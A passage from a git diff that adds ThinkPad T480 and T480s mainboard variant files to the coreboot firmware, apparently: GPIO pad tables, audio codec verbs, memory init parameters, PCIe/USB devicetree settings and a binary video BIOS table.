PAD_CFG_NF(GPP_A1, NATIVE, DEEP, NF1), /* LPC_AD0 */ ++ PAD_CFG_NF(GPP_A2, NATIVE, DEEP, NF1), /* LPC_AD1 */ ++ PAD_CFG_NF(GPP_A3, NATIVE, DEEP, NF1), /* LPC_AD2 */ ++ PAD_CFG_NF(GPP_A4, NATIVE, DEEP, NF1), /* LPC_AD3 */ ++ PAD_CFG_NF(GPP_A5, NONE, DEEP, NF1), /* -LPC_FRAME */ ++ PAD_CFG_NF(GPP_A6, NONE, DEEP, NF1), /* IRQSER */ ++ PAD_CFG_NF(GPP_A7, NONE, DEEP, NF1), /* -TPM_IRQ */ ++ PAD_CFG_NF(GPP_A8, NONE, DEEP, NF1), /* -CLKRUN */ ++ PAD_CFG_NF(GPP_A9, NATIVE, DEEP, NF1), /* LPCCLK_EC_24M */ ++ PAD_CFG_NF(GPP_A10, NATIVE, DEEP, NF1), /* LPCCLK_DEBUG_24M */ ++ PAD_NC(GPP_A11, NONE), ++ PAD_NC(GPP_A12, NONE), ++ PAD_CFG_NF(GPP_A13, NATIVE, DEEP, NF1), /* -SUSWARN */ ++ PAD_CFG_NF(GPP_A14, NATIVE, DEEP, NF1), /* -SUS_STAT */ ++ PAD_CFG_NF(GPP_A15, NATIVE, DEEP, NF1), /* -SUSWARN */ ++ PAD_NC(GPP_A16, NONE), ++ PAD_NC(GPP_A17, NONE), ++ PAD_NC(GPP_A18, NONE), ++ PAD_NC(GPP_A19, NONE), ++ PAD_NC(GPP_A20, NONE), ++ PAD_NC(GPP_A21, NONE), ++ PAD_NC(GPP_A22, NONE), ++ PAD_NC(GPP_A23, NONE), ++ ++ /* ------- GPIO Group GPP_B ------- */ ++ PAD_NC(GPP_B0, NONE), ++ PAD_NC(GPP_B1, NONE), ++ PAD_NC(GPP_B2, NONE), ++ PAD_NC(GPP_B3, NONE), ++ PAD_CFG_GPI_SCI(GPP_B4, NONE, DEEP, EDGE_SINGLE, INVERT), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_NF(GPP_B5, NONE, DEEP, NF1), /* -CLKREQ_PCIE0 */ ++ PAD_CFG_NF(GPP_B6, NONE, DEEP, NF1), /* -CLKREQ_PCIE4 */ ++ PAD_CFG_NF(GPP_B7, NONE, DEEP, NF1), /* -CLKREQ_PCIE5 */ ++ PAD_CFG_NF(GPP_B8, NONE, DEEP, NF1), /* -CLKREQ_PCIE6 */ ++ PAD_CFG_NF(GPP_B9, NONE, DEEP, NF1), /* -CLKREQ_PCIE8 */ ++ PAD_CFG_NF(GPP_B10, NONE, DEEP, NF1), /* -CLKREQ_PCIE10 */ ++ PAD_NC(GPP_B11, NONE), ++ PAD_CFG_NF(GPP_B12, NONE, DEEP, NF1), /* -PCH_SLP_S0 */ ++ PAD_CFG_NF(GPP_B13, NONE, DEEP, NF1), /* -PLTRST */ ++ PAD_CFG_NF(GPP_B14, NATIVE, DEEP, NF1), /* PCH_SPKR */ ++ PAD_CFG_GPO(GPP_B15, 1, DEEP), /* NFC_DLREQ */ ++ PAD_NC(GPP_B16, NONE), ++ PAD_NC(GPP_B17, NONE), ++ PAD_NC(GPP_B18, NONE), ++ PAD_NC(GPP_B19, NONE), ++ PAD_NC(GPP_B20, NONE), ++ PAD_NC(GPP_B21, NONE), ++ PAD_NC(GPP_B22, NONE), ++ PAD_NC(GPP_B23, NONE), ++ ++ /* ------- GPIO Community 1 ------- */ ++ ++ /* ------- GPIO Group GPP_C ------- */ ++ PAD_CFG_NF(GPP_C0, NONE, DEEP, NF1), /* SMB_CLK */ ++ PAD_CFG_NF(GPP_C1, NONE, DEEP, NF1), /* SMB_DATA */ ++ PAD_NC(GPP_C2, NONE), ++ PAD_CFG_NF(GPP_C3, NONE, DEEP, NF1), /* SML0_CLK */ ++ PAD_CFG_NF(GPP_C4, NONE, DEEP, NF1), /* SML0_DATA */ ++ PAD_NC(GPP_C5, NONE), ++ PAD_CFG_NF(GPP_C6, NONE, DEEP, NF1), /* EC_SCL2 */ ++ PAD_CFG_NF(GPP_C7, NONE, DEEP, NF1), /* EC_SDA2 */ ++ PAD_NC(GPP_C8, NONE), ++ PAD_NC(GPP_C9, NONE), ++ PAD_NC(GPP_C10, NONE), ++ PAD_NC(GPP_C11, NONE), ++ PAD_NC(GPP_C12, NONE), ++ PAD_NC(GPP_C13, NONE), ++ PAD_NC(GPP_C14, NONE), ++ PAD_NC(GPP_C15, NONE), ++ PAD_CFG_NF(GPP_C16, NONE, DEEP, NF1), /* I2C0_DATA */ ++ PAD_CFG_NF(GPP_C17, NONE, DEEP, NF1), /* I2C0_CLK */ ++ PAD_NC(GPP_C18, NONE), ++ PAD_NC(GPP_C19, NONE), ++ PAD_CFG_GPO(GPP_C20, 0, DEEP), /* EPRIVACY_ON */ ++ PAD_CFG_GPO(GPP_C21, 0, DEEP), /* TBT_FORCE_PWR */ ++ PAD_CFG_GPI_SCI(GPP_C22, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_SCI */ ++ PAD_CFG_GPI_SCI(GPP_C23, NONE, DEEP, EDGE_SINGLE, INVERT), /* -EC_WAKE */ ++ ++ /* ------- GPIO Group GPP_D ------- */ ++ PAD_NC(GPP_D0, NONE), ++ PAD_NC(GPP_D1, NONE), ++ PAD_NC(GPP_D2, NONE), ++ PAD_NC(GPP_D3, NONE), ++ PAD_NC(GPP_D4, NONE), ++ PAD_NC(GPP_D5, NONE), ++ PAD_NC(GPP_D6, NONE), ++ PAD_NC(GPP_D7, NONE), ++ PAD_NC(GPP_D8, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D9, UP_20K, DEEP, OFF, ACPI), /* -DISCRETE_PRESENCE */ ++ PAD_NC(GPP_D10, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D11, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_D12, UP_20K, DEEP, OFF, ACPI), /* DGFX_VRAM_ID1 */ ++ PAD_NC(GPP_D13, NONE), ++ PAD_NC(GPP_D14, NONE), ++ PAD_NC(GPP_D15, NONE), ++ PAD_NC(GPP_D16, NONE), ++ PAD_CFG_GPO(GPP_D17, 0, DEEP), /* DDI_PRIORITY1 */ ++ PAD_NC(GPP_D18, NONE), ++ PAD_NC(GPP_D19, NONE), ++ PAD_NC(GPP_D20, NONE), ++ PAD_NC(GPP_D21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_D22, UP_20K, DEEP, OFF, ACPI), /* -NFC_DTCT */ ++ PAD_NC(GPP_D23, NONE), ++ ++ /* ------- GPIO Group GPP_E ------- */ ++ PAD_NC(GPP_E0, NONE), ++ PAD_CFG_NF(GPP_E1, NONE, DEEP, NF1), /* -WWAN_SATA_DTCT (always HIGH) */ ++ PAD_CFG_NF(GPP_E2, NONE, DEEP, NF1), /* -PE_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_E3, NONE, DEEP, EDGE_SINGLE, ACPI), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_GPO(GPP_E4, 1, DEEP), /* NFC_ON */ ++ PAD_NC(GPP_E5, NONE), ++ PAD_CFG_NF(GPP_E6, NONE, RSMRST, NF1), /* SATA2_DEVSLP */ ++ PAD_NC(GPP_E7, NONE), ++ PAD_NC(GPP_E8, NONE), ++ PAD_CFG_NF(GPP_E9, NONE, DEEP, NF1), /* -USB_PORT0_OC0 (AON port) */ ++ PAD_CFG_NF(GPP_E10, NONE, DEEP, NF1), /* -USB_PORT1_OC1 (regular port) */ ++ PAD_NC(GPP_E11, NONE), ++ PAD_CFG_GPI_APIC_HIGH(GPP_E12, NONE, DEEP), /* NFC_INT */ ++ PAD_CFG_NF(GPP_E13, NONE, DEEP, NF1), /* DDIP1_HPD */ ++ PAD_CFG_NF(GPP_E14, NONE, DEEP, NF1), /* DDIP2_HPD */ ++ PAD_NC(GPP_E15, NONE), ++ PAD_NC(GPP_E16, NONE), ++ PAD_CFG_NF(GPP_E17, NONE, DEEP, NF1), /* EDP_HPD */ ++ PAD_NC(GPP_E18, NONE), ++ PAD_NC(GPP_E19, NONE), ++ PAD_CFG_NF(GPP_E20, NONE, DEEP, NF1), /* DDIP2_CTRLCLK */ ++ PAD_CFG_NF(GPP_E21, NONE, DEEP, NF1), /* DDIP2_CTRLDATA */ ++ PAD_CFG_TERM_GPO(GPP_E22, 0, UP_20K, RSMRST), /* -GPU_RST */ ++ PAD_CFG_TERM_GPO(GPP_E23, 0, UP_20K, RSMRST), /* 1R8VIDEO_AON_ON */ ++ ++ /* ------- GPIO Community 2 ------- */ ++ ++ /* -------- GPIO Group GPD -------- */ ++ PAD_CFG_NF(GPD0, NONE, PWROK, NF1), /* -BATLOW */ ++ PAD_CFG_NF(GPD1, NATIVE, PWROK, NF1), /* AC_PRESENT */ ++ PAD_CFG_NF(GPD2, NATIVE, PWROK, NF1), /* -LANWAKE */ ++ PAD_CFG_NF(GPD3, UP_20K, PWROK, NF1), /* -PWRSW_EC */ ++ PAD_CFG_NF(GPD4, NONE, PWROK, NF1), /* -PCH_SLP_S3 */ ++ PAD_CFG_NF(GPD5, NONE, PWROK, NF1), /* -PCH_SLP_S4 */ ++ PAD_CFG_NF(GPD6, NONE, PWROK, NF1), /* -PCH_SLP_M */ ++ PAD_NC(GPD7, NONE), ++ PAD_CFG_NF(GPD8, NONE, PWROK, NF1), /* SUSCLK_32K */ ++ PAD_CFG_NF(GPD9, NONE, PWROK, NF1), /* -PCH_SLP_WLAN */ ++ PAD_CFG_NF(GPD10, NONE, PWROK, NF1), /* -PCH_SLP_S5 */ ++ PAD_CFG_NF(GPD11, NONE, PWROK, NF1), /* LANPHYPC */ ++ ++ /* ------- GPIO Community 3 ------- */ ++ ++ /* ------- GPIO Group GPP_F ------- */ ++ PAD_NC(GPP_F0, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F1, NONE, DEEP, OFF, ACPI), /* GC6_FB_EN */ ++ PAD_CFG_GPO(GPP_F2, 1, DEEP), /* -GPU_EVENT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F3, NONE, DEEP, OFF, ACPI), /* DGFX_PWRGD */ ++ PAD_CFG_GPO(GPP_F4, 1, DEEP), /* -WWAN_RESET */ ++ PAD_NC(GPP_F5, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F6, UP_20K, DEEP, OFF, ACPI), /* -MIC_HW_EN (R961 to GND) */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F7, UP_20K, DEEP, OFF, ACPI), /* -INT_MIC_DTCT */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F8, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F9, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F10, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F11, UP_20K, DEEP, OFF, ACPI), /* WWAN_CFG3 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F12, UP_20K, DEEP, OFF, ACPI), /* PLANARID0 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F13, UP_20K, DEEP, OFF, ACPI), /* PLANARID1 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F14, UP_20K, DEEP, OFF, ACPI), /* PLANARID2 */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F15, UP_20K, DEEP, OFF, ACPI), /* PLANARID3 */ ++ PAD_NC(GPP_F16, NONE), ++ PAD_NC(GPP_F17, NONE), ++ PAD_NC(GPP_F18, NONE), ++ PAD_NC(GPP_F19, NONE), ++ PAD_NC(GPP_F20, NONE), ++ PAD_NC(GPP_F21, NONE), ++ PAD_CFG_GPI_TRIG_OWN(GPP_F22, UP_20K, DEEP, OFF, ACPI), /* -INTRUDER_PCH */ ++ PAD_CFG_GPI_TRIG_OWN(GPP_F23, UP_20K, DEEP, OFF, ACPI), /* -SC_DTCT */ ++ ++ /* ------- GPIO Group GPP_G ------- */ ++ PAD_NC(GPP_G0, NONE), ++ PAD_NC(GPP_G1, NONE), ++ PAD_NC(GPP_G2, NONE), ++ PAD_NC(GPP_G3, NONE), ++ PAD_CFG_GPO(GPP_G4, 0, DEEP), /* TBT_RTD3_PWR_EN */ ++ PAD_CFG_GPO(GPP_G5, 0, DEEP), /* TBT_FORCE_USB_PWR */ ++ PAD_CFG_GPO(GPP_G6, 0, DEEP), /* -TBT_PERST */ ++ PAD_CFG_GPI_SCI(GPP_G7, NONE, DEEP, LEVEL, INVERT), /* -TBT_PCIE_WAKE */ ++}; ++ ++void variant_config_gpios(void) ++{ ++ gpio_configure_pads(gpio_table, ARRAY_SIZE(gpio_table)); ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c +new file mode 100644 +index 0000000000..3a951ce0da +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/hda_verb.c +@@ -0,0 +1,90 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++ ++const u32 cim_verb_data[] = { ++ 0x10ec0257, // Vendor/Device ID: Realtek ALC257 ++ 0x17aa225d, // Subsystem ID ++ 11, ++ AZALIA_SUBVENDOR(0, 0x17aa225d), ++ ++ AZALIA_PIN_CFG(0, 0x12, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_MIC_IN, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 2, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x13, 0x40000000), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( ++ AZALIA_INTEGRATED, ++ AZALIA_INTERNAL, ++ AZALIA_SPEAKER, ++ AZALIA_OTHER_ANALOG, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_NO_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x18, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x19, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_MIC_IN, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 3, 0 ++ )), ++ AZALIA_PIN_CFG(0, 0x1a, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1b, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x1d, 0x40661b45), // does not describe a jack or internal device ++ AZALIA_PIN_CFG(0, 0x1e, AZALIA_PIN_CFG_NC(0)), ++ AZALIA_PIN_CFG(0, 0x21, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, ++ AZALIA_HP_OUT, ++ AZALIA_STEREO_MONO_1_8, ++ AZALIA_BLACK, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 15 ++ )), ++ ++ 0x8086280b, // Vendor/Device ID: Intel Kabylake HDMI ++ 0x80860101, // Subsystem ID ++ 4, ++ AZALIA_SUBVENDOR(2, 0x80860101), ++ ++ AZALIA_PIN_CFG(2, 0x05, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x06, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 2, 0 ++ )), ++ AZALIA_PIN_CFG(2, 0x07, AZALIA_PIN_DESC( ++ AZALIA_JACK, ++ AZALIA_DIGITAL_DISPLAY, ++ AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 3, 0 ++ )), ++}; ++ ++const u32 pc_beep_verbs[] = {}; ++ ++AZALIA_ARRAY_SIZES; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c +new file mode 100644 +index 0000000000..5252a402f9 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/memory_init_params.c +@@ -0,0 +1,20 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++ ++void mainboard_memory_init_params(FSPM_UPD *mupd) ++{ ++ FSP_M_CONFIG *mem_cfg = &mupd->FspmConfig; ++ mem_cfg->DqPinsInterleaved = true; /* DDR_DQ in interleave mode */ ++ mem_cfg->CaVrefConfig = 2; /* VREF_CA to CH_A and VREF_DQ_B to CH_B */ ++ mem_cfg->MemorySpdDataLen = CONFIG_DIMM_SPD_SIZE; ++ ++ /* Get SPD for memory slots */ ++ struct spd_block blk = { .addr_map = { 0x50, 0x51, } }; ++ get_spd_smbus(&blk); ++ dump_spd_info(&blk); ++ ++ mem_cfg->MemorySpdPtr00 = (uintptr_t)blk.spd_array[0]; ++ mem_cfg->MemorySpdPtr10 = (uintptr_t)blk.spd_array[1]; ++} +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb +new file mode 100644 +index 0000000000..bf66bd3a69 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480/overridetree.cb +@@ -0,0 +1,103 @@ ++# SPDX-License-Identifier: GPL-2.0-only ++ ++chip soc/intel/skylake ++ device domain 0 on ++ device ref south_xhci on ++ register "usb2_ports" = "{ ++ [0] = USB2_PORT_MID(OC1), // USB-A ++ [1] = USB2_PORT_MID(OC0), // USB-A (always on) ++ [2] = USB2_PORT_MID(OC_SKIP), // JSC-1 (smartcard slot) ++ [3] = USB2_PORT_MID(OC_SKIP), // USB-C (charging port) ++ [4] = USB2_PORT_MID(OC_SKIP), // JCAM1 (IR camera) ++ [5] = USB2_PORT_MID(OC_SKIP), // JWWAN1 (M.2 WWAN USB) ++ [6] = USB2_PORT_MID(OC_SKIP), // JWLAN1 (M.2 WLAN USB) ++ [7] = USB2_PORT_MID(OC_SKIP), // JCAM1 (webcam) ++ [8] = USB2_PORT_MID(OC_SKIP), // JFPR1 (fingerprint reader) ++ [9] = USB2_PORT_MID(OC_SKIP), // JLCD1 (touch panel) ++ }" ++ register "usb3_ports" = "{ ++ [0] = USB3_PORT_DEFAULT(OC1), // USB-A ++ [1] = USB3_PORT_DEFAULT(OC0), // USB-A (always on) ++ [2] = USB3_PORT_DEFAULT(OC_SKIP), // RTS5344S (SD card reader) ++ [3] = USB3_PORT_DEFAULT(OC_SKIP), // USB-C (charging port) ++ }" ++ end ++ ++ device ref sata on ++ # SATA_2 - JHDD1 SATA SSD ++ register "SataPortsEnable[2]" = "1" ++ register "SataPortsDevSlp[2]" = "1" ++ end ++ ++ # PCIe controller 1 - 1x4 ++ # PCIE 1-4 - RP1 - dGPU - CLKOUT0 - CLKREQ0 ++ # ++ # PCIe controller 2 - 2x1+1x2 (lane reversal) ++ # PCIE 5 - GBE - GBE - CLKOUT1 - CLKREQ1 (clobbers RP8) ++ # PCIE 6 - RP7 - WLAN - CLKOUT2 - CLKREQ2 ++ # PCIE 7-8 - RP5 - WWAN - CLKOUT3 - CLKREQ3 ++ # ++ # PCIe controller 3 - 2x2 ++ # PCIE 9-10 - RP9 - TB3 - CLKOUT4 - CLKREQ4 ++ # PCIE 11-12 - RP11 - SSD - CLKOUT5 - CLKREQ5 ++ ++ # dGPU - x4 ++ device ref pcie_rp1 on ++ register "PcieRpEnable[0]" = "1" ++ register "PcieRpClkReqSupport[0]" = "1" ++ register "PcieRpClkReqNumber[0]" = "0" ++ register "PcieRpClkSrcNumber[0]" = "0" ++ register "PcieRpAdvancedErrorReporting[0]" = "1" ++ register "PcieRpLtrEnable[0]" = "1" ++ end ++ ++ # Ethernet (clobbers RP8) ++ device ref gbe on ++ register "LanClkReqSupported" = "1" ++ register "LanClkReqNumber" = "1" ++ register "EnableLanLtr" = "1" ++ register "EnableLanK1Off" = "1" ++ end ++ ++ # M.2 WLAN - x1 ++ device ref pcie_rp7 on ++ register "PcieRpEnable[6]" = "1" ++ register "PcieRpClkReqSupport[6]" = "1" ++ register "PcieRpClkReqNumber[6]" = "2" ++ register "PcieRpClkSrcNumber[6]" = "2" ++ register "PcieRpAdvancedErrorReporting[6]" = "1" ++ register "PcieRpLtrEnable[6]" = "1" ++ end ++ ++ # M.2 WWAN - x2 ++ device ref pcie_rp5 on ++ register "PcieRpEnable[4]" = "1" ++ register "PcieRpClkReqSupport[4]" = "1" ++ register "PcieRpClkReqNumber[4]" = "3" ++ register "PcieRpClkSrcNumber[4]" = "3" ++ register "PcieRpAdvancedErrorReporting[4]" = "1" ++ register "PcieRpLtrEnable[4]" = "1" ++ end ++ ++ # TB3 (Alpine Ridge LP) - x2 ++ device ref pcie_rp9 on ++ register "PcieRpEnable[8]" = "1" ++ register "PcieRpClkReqSupport[8]" = "1" ++ register "PcieRpClkReqNumber[8]" = "4" ++ register "PcieRpClkSrcNumber[8]" = "4" ++ register "PcieRpAdvancedErrorReporting[8]" = "1" ++ register "PcieRpLtrEnable[8]" = "1" ++ register "PcieRpHotPlug[8]" = "1" ++ end ++ ++ # M.2 2280 caddy - x2 ++ device ref pcie_rp11 on ++ register "PcieRpEnable[10]" = "1" ++ register "PcieRpClkReqSupport[10]" = "1" ++ register "PcieRpClkReqNumber[10]" = "5" ++ register "PcieRpClkSrcNumber[10]" = "5" ++ register "PcieRpAdvancedErrorReporting[10]" = "1" ++ register "PcieRpLtrEnable[10]" = "1" ++ end ++ end ++end +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/data.vbt +new file mode 100644 +index 0000000000000000000000000000000000000000..47732e37d5b2bad4e674fd10eafa605d26f97840 +GIT binary patch +literal 4106 +zcmeHJUu+a*5TCu>yW9JAmoD2P9tqx`iFWXCLD09RaS&4j$?kY0KGYdgn6;MZ*!anbk!PNr!a%eU +zTXkLEL3ly5L&oUX#CS7?b2%Kad?s-#@;mhg8>>>#S&)d2I +zmP&-g0$k02szSQj(Y*j}YYtQnDH0;2ui{mPhI!flfFgv9nqI4Wr~5_?s`k0kALiCvcP +zCrRUFrpVYPYn?Jn%6MGXUXj_GGJYa!U&-tn8Gn&ANnz_0+@olH3VTw)mlf@-!p8{!e#p0ct5}M(h16D>p?OGjSz6v3juERjS +z#z{?mXvVqrXs_rvUmYR40gNzg(QD6y9E94?4DWO|6eb83LI-smcVC6x1n2reH}rAp +zLM);f=tWDCr``UF5T>!;PYu^H1g>EBP8A}2*fM>s-@nC3pDV|}6+CtfhG(II7`pcw +z`jLfJ!?;*R@Bp=Nw2EPOC7FEs(cugIP_K6tN_$~tvS8nx6iOv|IMrO3&-m*N9ZP#b +znG^~>I|l1cUVSeD9r^k3h0TP}WWD9=MZxY<Z3B2yU!k71#YRpThOJtVheMDA50rV#s@U +z+nKbA{O(olYR}icuzQD*-cjBQ9;%!eMDVP>7mWsF@=%>o)wSgq=n%DHNOYwRr4Ao6 +zbNdgEn*RdDS>Rud+fIY0N8JkP3q6;>8o%R(CE2n3?Xg%qP+U%~6|{XFyxv7Y#;J2Z +XK$lk*wsY^m4}9|iz?mg_AjCfat$CyH + +literal 0 +HcmV?d00001 + +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads +new file mode 100644 +index 0000000000..fcfbd75a92 +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gma-mainboard.ads +@@ -0,0 +1,19 @@ ++-- SPDX-License-Identifier: GPL-2.0-or-later ++ ++with HW.GFX.GMA; ++with HW.GFX.GMA.Display_Probing; ++ ++use HW.GFX.GMA; ++use HW.GFX.GMA.Display_Probing; ++ ++private package GMA.Mainboard is ++ ++ ports : constant Port_List := ++ (eDP, ++ DP1, ++ DP2, ++ HDMI1, ++ HDMI2, ++ others => Disabled); ++ ++end GMA.Mainboard; +diff --git a/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c +new file mode 100644 +index 0000000000..a98dd2bc4e +--- /dev/null ++++ b/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480s/gpio.c +@@ -0,0 +1,199 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include "../../gpio.h" ++ ++static const struct pad_config gpio_table[] = { ++ /* ------- GPIO Community 0 ------- */ ++ ++ /* ------- GPIO Group GPP_A ------- */ ++ PAD_CFG_NF(GPP_A0, NONE, DEEP, NF1), /* -KBRC */ ++ PAD_CFG_NF(GPP_A1, NATIVE, DEEP, NF1), /* LPC_AD0 */ ++ PAD_CFG_NF(GPP_A2, NATIVE, DEEP, NF1), /* LPC_AD1 */ ++ PAD_CFG_NF(GPP_A3, NATIVE, DEEP, NF1), /* LPC_AD2 */ ++ PAD_CFG_NF(GPP_A4, NATIVE, DEEP, NF1), /* LPC_AD3 */ ++ PAD_CFG_NF(GPP_A5, NONE, DEEP, NF1), /* -LPC_FRAME */ ++ PAD_CFG_NF(GPP_A6, NONE, DEEP, NF1), /* IRQSER */ ++ PAD_CFG_NF(GPP_A7, NONE, DEEP, NF1), /* -TPM_IRQ */ ++ PAD_CFG_NF(GPP_A8, NONE, DEEP, NF1), /* -CLKRUN */ ++ PAD_CFG_NF(GPP_A9, DN_20K, DEEP, NF1), /* LPCCLK_EC_24M */ ++ PAD_CFG_NF(GPP_A10, DN_20K, DEEP, NF1), /* LPCCLK_DEBUG_24M */ ++ PAD_NC(GPP_A11, NONE), ++ PAD_NC(GPP_A12, NONE), ++ PAD_CFG_NF(GPP_A13, NONE, DEEP, NF1), /* -SUSWARN */ ++ PAD_CFG_NF(GPP_A14, NONE, DEEP, NF1), /* -SUS_STAT */ ++ PAD_CFG_NF(GPP_A15, UP_20K, DEEP, NF1), /* -SUSWARN */ ++ PAD_NC(GPP_A16, NONE), ++ PAD_NC(GPP_A17, NONE), ++ PAD_NC(GPP_A18, NONE), ++ PAD_NC(GPP_A19, NONE), ++ PAD_NC(GPP_A20, NONE), ++ PAD_NC(GPP_A21, NONE), ++ PAD_NC(GPP_A22, NONE), ++ PAD_NC(GPP_A23, NONE), ++ ++ /* ------- GPIO Group GPP_B ------- */ ++ PAD_CFG_NF(GPP_B0, NONE, DEEP, NF1), ++ PAD_CFG_NF(GPP_B1, NONE, DEEP, NF1), ++ PAD_NC(GPP_B2, NONE), ++ PAD_NC(GPP_B3, NONE), ++ PAD_CFG_GPI_SCI(GPP_B4, NONE, DEEP, EDGE_SINGLE, INVERT), /* -TBT_PLUG_EVENT */ ++ PAD_CFG_NF(GPP_B5, NONE, DEEP, NF1), /* -CLKREQ_PCIE0 (dGPU) */ ++ PAD_CFG_NF(GPP_B6, NONE, DEEP, NF1), /* -CLKREQ_PCIE3 (WWAN) */ ++ PAD_CFG_NF(GPP_B7, NONE, DEEP, NF1), /* -CLKREQ_PCIE4 (GBE) */ ++ PAD_CFG_NF(GPP_B8, NONE, DEEP, NF1), /* -CLKREQ_PCIE5 (WLAN) */ ++ PAD_CFG_NF(GPP_B9, NONE, DEEP, NF1), /* -CLKREQ_PCIE6 (TB3) */ ++ PAD_CFG_NF(GPP_B10, NONE, DEEP, NF1), /* -CLKREQ_PCIE8 (SSD) */ ++ PAD_NC(GPP_B11, NONE), ++ PAD_CFG_NF(GPP_B12, NONE, DEEP, NF1), /* -PCH_SLP_S0 */ ++ PAD_CFG_NF(GPP_B13, NONE, DEEP, NF1), /* -PLTRST */ ++ PAD_CFG_NF(GPP_B14, NONE, DEEP, NF1), /* PCH_SPKR */ ++ PAD_CFG_GPO(GPP_B15, 0, DEEP), /* NFC_DLREQ */ ++ PAD_NC(GPP_B16, NONE), ++ PAD_NC(GPP_B17, NONE), ++ PAD_NC(GPP_B18, NONE), ++ PAD_NC(GPP_B19, NONE), ++ PAD_NC(GPP_B20, NONE), ++ PAD_NC(GPP_B21, NONE), ++ PAD_NC(GPP_B22, NONE), ++ PAD_NC(GPP_B23, NONE), ++ ++ /* ------- GPIO Community 1 ------- */ ++ ++ /* ------- GPIO Group GPP_C ------- */ ++ PAD_CFG_NF(GPP_C0, NONE, DEEP, NF1), /* SMB_CLK */ ++ PAD_CFG_NF(GPP_C1, NONE, DEEP, NF1), /* SMB_DATA */ ++ PAD_CFG_GPO(GPP_C2, 1, DEEP), ++ PAD_CFG_NF(GPP_C3, NONE, DEEP, NF1), /* SML0_CLK */ ++ PAD_CFG_NF(GPP_C4, NONE, DEEP, NF1), /* SML0_DATA 